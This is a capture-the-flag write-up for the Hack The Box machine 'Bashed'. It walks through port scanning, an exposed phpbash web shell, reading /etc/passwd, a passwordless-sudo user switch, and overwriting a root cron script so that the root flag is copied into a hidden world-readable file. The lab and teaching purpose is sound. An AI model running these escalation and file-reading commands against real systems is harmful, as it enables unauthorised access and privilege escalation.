HTB Writeup – Bashed

Easy HTB Machine

Leonardo Tamiano

2023-11-25

Contents

1 Service Enumeration

Machines listens on IP `10.129.38.153`. Using `nmap` we find the following

```
$ nmap -p- bashed

Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-08 03:35 CET
Nmap scan report for bashed (10.129.38.153)
Host is up (0.052s latency).
Other addresses for bashed (not scanned): 10.129.34.139
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.93 seconds
```

We find therefore that there is a port **tcp/80** listening.

2 Initial Access

By going with the browser to the path http://bashed/dev/ we see a file exposed named `phpbash.php`.

By requesting that file we open a web shell that was left by mistake by the developer.

Vulnerability 1: Web server index was open and let us discover the phpbash.php resource.

Vulnerability 2: The phpbash.php resource is a critical php code which should not be left in a web server accessible accessible by anyone.

3 User Flag

Once inside as `www-data` we can check the various users of the machine by checking the file `/etc/passwd`

access the user flag by going to `/home/arrexel`

```
cat /home/arrexel/user.txt
```

4 Lateral Movement

Executing `sudo -l` as `www-data` we see

```
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
```

As we can see, we can execute any program as the user `scriptmanager` with no password required. This allows us to easily switch user and perfrom a lateral movement within the machine in order to become `scriptmanager`

```
sudo -u scriptmanager python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Vulnerability 3: sudo -l configuration required no password, and this is not good!

5 Privilege Escalation

Analyzing the cronjobs using `pspy64` we see that the root account executes every 5 min the bash script found within `/scripts/test.sh`. Since we can write on that directory we can abuse this by writing the following malicious payload

```
echo "import os; os.system('cp /root/root.txt /dev/shm/.logic.txt && chmod 777 /dev/shm/.logic.txt')" > /scripts/test.sh
```

with this we can copy the root flag within `/dev/shm/.logic.txt` the next time the script is executed.

Vulnerability 4: problem with permissions, the folder `/scripts/` should not be writable by non root users.